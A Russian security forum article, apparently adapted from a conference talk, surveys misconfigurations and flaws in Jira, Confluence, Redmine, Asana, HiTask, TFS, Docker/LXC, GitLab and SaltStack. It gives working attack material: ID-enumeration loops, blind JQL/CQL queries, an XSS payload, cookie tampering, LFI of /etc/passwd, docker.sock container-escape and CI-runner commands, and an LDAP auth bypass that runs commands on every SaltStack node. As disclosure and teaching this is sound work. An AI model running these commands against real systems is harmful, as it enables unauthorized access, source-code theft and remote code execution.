• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Misconfiguration в сервисах разработки

Час добрый, господа. По мотивам моего прошлогоднего доклада на ZeroNight сделаю статейку, того, о чем говорил я тогда...
Довелось мне как то, в один из прекрасных вечеров, проверить на уязвимость кучу сервисов связанных с разработкой и в этой статье я поделюсь находками, о которых, уже рассказывал на конференции в том году.

Misconfiguration - класс уязвимостей связанных с неправильной настройкой того или иного сервиса. Хотя на самом деле не всё оказалось мисконфигами.
Ну хватит лить воду, приступим...

Ссылка на презу:

Jira & Confluence
Описание:
Эти два продукта от компании Atlassian широко используются разработчиками.
Jira - Мощнейший таск-трекер, где ставятся задачи, отслеживается процесс их выполнения, и еще куча плюшек.
Confluence - Мощная Вики - площадка, она хранит в себе целую базу знаний компании, с доступами, группами, проектами.

Как выглядит Jira?
1571682271868.png


Как выглядит Confluence?
1571682455399.png


Так какие же в них могут быть проблемы неправильной конфигурации?!

Проблема 1. Включенный StackTrace
Когда по - умолчанию включён StackTrace, мы можем спровоцировать ошибку и увидеть версию Java, установленных плагинов и многое другое.
Спровоцировать ошибку можно передав массив вместо строки в API.
1) https://JIRA_HOME/rest/api/2/[]/
2) https://CONFLUENCE_HOME/rest/api/cont ent/[]/

Профит:
1571682748357.png


Проблема 2. IDOR в Agile board плагине
Agile board - довольно популярный плагин, которым пользуются разработчики, однако и тут есть проблема...
По умолчанию разработчики ограничены теми бордами, в которых они работают. Но если перебирать ID панели, можно смотреть и другие панели.
https://JIRA_HOME/secure/ManageRapidViews.jspa
1571683413761.png


.<company_name>.ru/secure/RapidBoard.jspa?rapidView=434
1571683455734.png


.<company_name>.ru/secure/RapidBoard.jspa?rapidView=435
1571683507972.png


Проблема 3. Blind JQL/CQL или как читать закрытие спейсы
JQL - Язык запросов поиска в Jira
CQL - Язык запросов в Confluence
Примечание: это проблема именно неправильной настройки доступов к API, а не уязвимость самого продукта.
Когда я исследовал эти сервисы, я заметил, что у продуктов Atlassian очень интересно сделана модель доступов.
Во - первых, их несколько. Есть как групповые так и персональные доступы.
Во - вторых, интересный факт в том, что сначала проверяется существование страницы, а только потом, есть ли у нас к ней доступ.

Модель злоумышленника: Незалогиненный пользователь у которого нет вообще никаких прав.
Но для начала давайте посмотрим, может админ забыл вообще закрыть доступы к api
  • https://<company_name>/jira/rest/api/2/mypermissions
  • https://<company_name>/jira/rest/api/2/issue/1
  • {SPACEKEY}
  • {ContentI}
Хмм... в Сonfluence действительно мы можем попасть на странички без авторизации через API.
1571684056708.png


Но рассмотрим более интересный случай, когда всё таки доступ закрыт.
Начнем с Jira
Для начала нам надо определить ID проектов, которые собираемся прочитать. Здесь способ нехитрый.
for i in $(seq 10000 11000); do curl http://JIRA_HOME/rest/api/2/issue/$i; done;
1571684187482.png

Как видим проект с ID = 10002 не существует, о чем нам говорит ошибка: "Тикет не существует"
Однако 10000 и 10001 мы видим другую ошибку, что у нас нет прав читать этот тикет. АГА, значит они все таки существуют.
Копаем дальше.

Вспоминаем про JQL и пробуем следующий запрос:
Здесь мы пытаемся найти любой тикет, у которого в описании есть фраза: "kdhfbwk"
https://<company_name>/jira/rest/api/2/search?jql=description=“kdhfbwk"
Получаем ошибку, которая говорит, что нет такого значения в поле description:
1571684395019.png


Теперь попробуем поискать тикет в котором есть текст 123(и что - то ещё) в проекте с id=10000
https://<company_name>/jira/rest/api/2/search?jql=descriprion="123*" and id=10000
1571684499847.png


Получаем совершенно другую ошибку. Напоминаю, что мы незалогинены. И вот таким способом, играя с JQL, мы можем полностью восстановить содержимое тикета.
А вот если мы увидим вот такой результат:
1571684619411.png

Это значит, что с настройками все хорошо и уязвимость неэксплуатабельна.

В Confluence всё аналогично.
Попросим вывести нам спейсы, названия которых начинается с "s"
https://<company_name>/jira/rest/api/content/search?cql=[COLOR=rgb(247, 218, 100)]space.title~"s.*"[/COLOR]
1571684800878.png


Проблема 4. Доступные порты управления
Тут всё просто, почитав документацию, я узнал, что оказывается у этих продуктов есть порты управления 8000 – 8100, которые отвечают за включение отключение и прочие штуки.
На практике не встречал.

Redmine
Очень популярный таск-трекер для разработчиков
1571684998887.png


Проблема. Stored XSS при добавлении картинки
При создании тикета мы можем использовать функционал, добавления картинок, выглядит он так:
1571685061711.png


Глянем во что превратился html код:
1571685153196.png


Видим, что он трансформировался в тег
<img src="НАША_ССЫЛКА" title="НАШ_ТАЙТЛ" alt="НАШ_ТАЙТЛ">
Что же, не надо быть супер хакером, чтобы догадаться, как можно пропихнуть XSS.

У тега img - есть события, которые, при наступлении, вызывают какой - то JavaScript код. В нашем случае я использовал событие onerror. Оно будет вызвано, когда картинка не сможет отрендериться.
В итоге наша нагрузка будет выглядеть так: !localhost(“ onerror=alert(/1/))!
1571685342729.png


И результат:
1571685393611.png


Почему выполнился код?
Потому что наша итоговая картинка выглядела так:
<img src="localhost" title="" onerror="alert(/1/)" alt="" onerror="alert(/1/)">
А по адресу localhost картинки нет, что вызывало событие onerror.

Asana
Еще один таск-трекер. Непопулярный. Я его стал исследовать только с целью побольше набрать материала и вот, что нашел.
1571685658035.png


Проблема. Обход авторизации через Cookies
При авторизации сервис выдает следующие куки:
Код:
soft_signup_user_id=5166375;
soft_signup_email=hac126%40yandex.ru;
xi_ip=97.12.23.123; soft_signup_invitation_token=numeric_token-5166375-672796;
gtm_u_id=5166376;
dapulseUserId=5166375;
gtm_u_is_admin=true;
gtm_a_paying_value=0.0;

Здесь можно заметить два параметра 5166376 - числовой и soft_signup_email - почта.
Соответственно, если знать почту жертвы, то несложно перебрать числовое значение.
Я зарегистрировал второй аккаунт и просто передал значения в куках почту hac126@mail.ru и id + 1.
В итоге попал в аккаунт:
1571685888843.png


HiTask
Ещё один ноунейм таск-трекер.

Проблема 1. Self XSS при добавлении тегов
Self XSS - это тип атак XSS, который заключается в том, что она может быть воспроизведена только самим атакующем. На самом деле смысла в ней немного, просто ради фана покажу.
Всё очень просто. Пытаемся в теги добавить нагрузку XSS через img, и нажимаем ",". В итоге тег попадет в разметку и выведет заветное окошко
1571686304138.png


Проблема 2. LFI через форму загрузки
LFI (Local File Include) - уязвимость, которая позволяет читать произвольные файлы на сервере.
В HiTask есть форма загрузки. Однако, интересный момент, в параметре "prop_act_upload", если в него передать путь до локального файла, например, /etc/passwd, то он будет загружать именно его.
1571686157326.png


А потом мы его просто можем скачать.
1571686477800.png


TFS (Team Foundation Server)
Это большой инструмент от Microsoft для создания Workflow разработки.
В природе этой МИСКОНФИГ уязвимости я так и не разобрался, но вот в чем суть.
В его панеле можно делать импорт удаленных git репозиториев.
Я попробовал использовать внутренние адреса вместо внешних до пути /.git и в итоге, перебрав их значительное количество, таки смог нарваться на какую то внутреннюю бесполезную репу.
1571686686994.png


1571686701249.png


Ну хватит про вебовщину. Давайте немного по инфре поговорим. А именно, где можно встретить мисконфиг при работе в докерах или LXC.
Оказывается, когда мы создаем контейнер, админы иногда пробрасывают внутрь его файл /var/run/docker.sock, который связывает Host API докера и контейнер.
Соответственно, если этот файл окажется внутри, то используя его, мы можем управлять другими контейнерами или выбраться на хост машину.
Пример просмотра внутри контейнера, других запущенных докеров:
docker -v /var/run/docker.sock:/var/run/docker.sock ps
А вот как бы выглядело создание нового докера с командой ls
docker run -v /var/run/docker.sock:/var/run/docker.sock debian ls
1571687092123.png


Для LXC
curl -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/
Код:
{
"type": "async",
"status": "Operation created",
"status_code": 100,
"metadata": {
  "id": "439bf4a1-e056-4b76-86ad-bff06169fce1",
  "class": "task",
  "created_at": "2016-04-18T22:56:22.590239576
....
}

GIT-LAB
Система управления исходным кодом. И тут есть некоторые проблемы неправильных настроек.

Проблема 1. Взлом проектов через CI
CI - Continuous Integration позволяет автоматический развернуть или задеплоить код.
После пуша, гит поднимает так называемые runner'ы - контейнеры, которые внутри себя выполняют указанный код.
Настройка таких раннеров выполняется с помощью конфига .gitlab-ci.yml
YAML:
job1:
      script:
           - ip addr

Вот так будет выглядеть результат после push-request'а в репозиторий:
1571693810189.png


А теперь давайте вспомним про предыдущий пункт и посмотрим содержимое раннера:
1571693874234.png


Видим тут наш уже знакомый файлик: "docker.sock"
Давайте посмотрим с его помощью все контейнеры.
Видоизменим конфиг следующим образом:
YAML:
job1:
        script:
                - ip addr
                - ps aux
                - curl -s --unix-socket /var/run/docker.sock http:/containers/json

Результат:
1571693965440.png


А теперь в раннерах глянем содержимое других контейнеров (раннеров)
Код:
curl -s --unix-socket /var/run/docker.sock "http:/containers/create?name=72701f424a15661108227ea65a0548dbcbf6f5343207b050431980b71af7f7ec" -X POST -H "Content-Type: application/json" -d '{"Cmd": [ "ls", "-la", "./" ]}'
1571694072249.png

Опа, получили исходные коды другого проекта, который деплоится на соседнем раннере.
Таким образом, имеется возможность угонять исходные коды других проектов, когда нет прав доступа к ним.

Проблема 2. Публичный доступ к Сниппетам и к API.
Snippets - Это отдельные скрипты или заметки во всем gitlab. Зачастую доступ к ним неограничен и может быть получен следующим образом вообще без авторизации:
1571694268089.png


Ещё пару триксов. Во всех до единого установок гитлабах, я видел открытый API метод, для перечисления всех пользователей без авторизации:
Надо просто перебирать ID
https://gitlab/api/v4/users/2
1571694403673.png


А вот таким способом можно посмотреть публичные ключи пользователей (зачем это может понадобиться хакеру - не знаю)
https://<host>/<user>.keys
1571694486531.png


SaltStack
SaltStack - это система централизованной разливки кода. С её помощью можно выполнить команду на тысячах машин.
А теперь представьте масштаб трагедии если кому то удалось бы взломать её.....Что я и сделал.......
Итак, вишенка на торте, 0day тогда, а сейчас уже 1day уязвимость.
Добрался я потыкать этот сервис. И разумеется начал с авторизации. Я перепробовал кучу логопассов, брутить, всё тщетно.
И тут я случайно узнал имя админа и понял, что режим авторизации через LDAP.
- легкорасширяемый протокол централизованного доступа к каталогам.
Попробовав подставить известные мне пароли, я получил отказ в доступах. Однако черт меня дернул оставить поле пароль пустым для известного мне логина.
ДА! БАЙПАСС АВТОРИЗАЦИИ ДЛЯ ЛЮБОГО ЛОГИНА В LDAP!

Рассмотрим шаги:
1) Обращаемся к соли по API через LDAP с известным логином, но любым паролем:
Код:
curl -si POST https://<host>.ru/login -H "Accept: application/json" -d username="<LDAP LOGIN>" -d password="s" -d eauth='ldap'
1571695138218.png

И БИНГО. Он вернул нам токен доступа со всеми правами, на что указывает ".*" в ключе "perms"

Дальше смотрим какие есть поды:
curl -i -H 'X-Auth-Token: 694a7dfa16.........cacfcb0d26650d21bd' https://<host>/keys
1571695252671.png

Корпоративные я, конечно, закрасил, но видим, что есть две мастер ноды и остальные подчиненные им.

Теперь давайте выполним команду "id" на всех нодах (разольем солью)
curl -i -H 'X-Auth-Token: 694a7dfa168........cfcb0d26650d21bd' -H 'Content-type: application/json' https://<host>/ -d '[{"client":"local", "tgt":"*", "fun":"cmd.run", "kwarg":{"cmd":"id"}, "eauth":"auto"}]'
1571695357900.png

И снова бинго, на двух нодах выполнился код. Почему не на всех?! Да потому что остальные ноды были просто выключены и демон соли на них не прослушивался.

Позднее я сообщил о находке вендору и получил CVE (CVE-2018-15751)
Как вы поняли, суть атаки в том, что в приложении была допущена фатальная ошибка при сравнении паролей через LDAP.
Ну вот и всё, друзья. Будьте в безопасности и не мисконфигурячьте.
 

Вложения

  • 1571685111878.png
    1571685111878.png
    26,2 КБ · Просмотры: 306
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!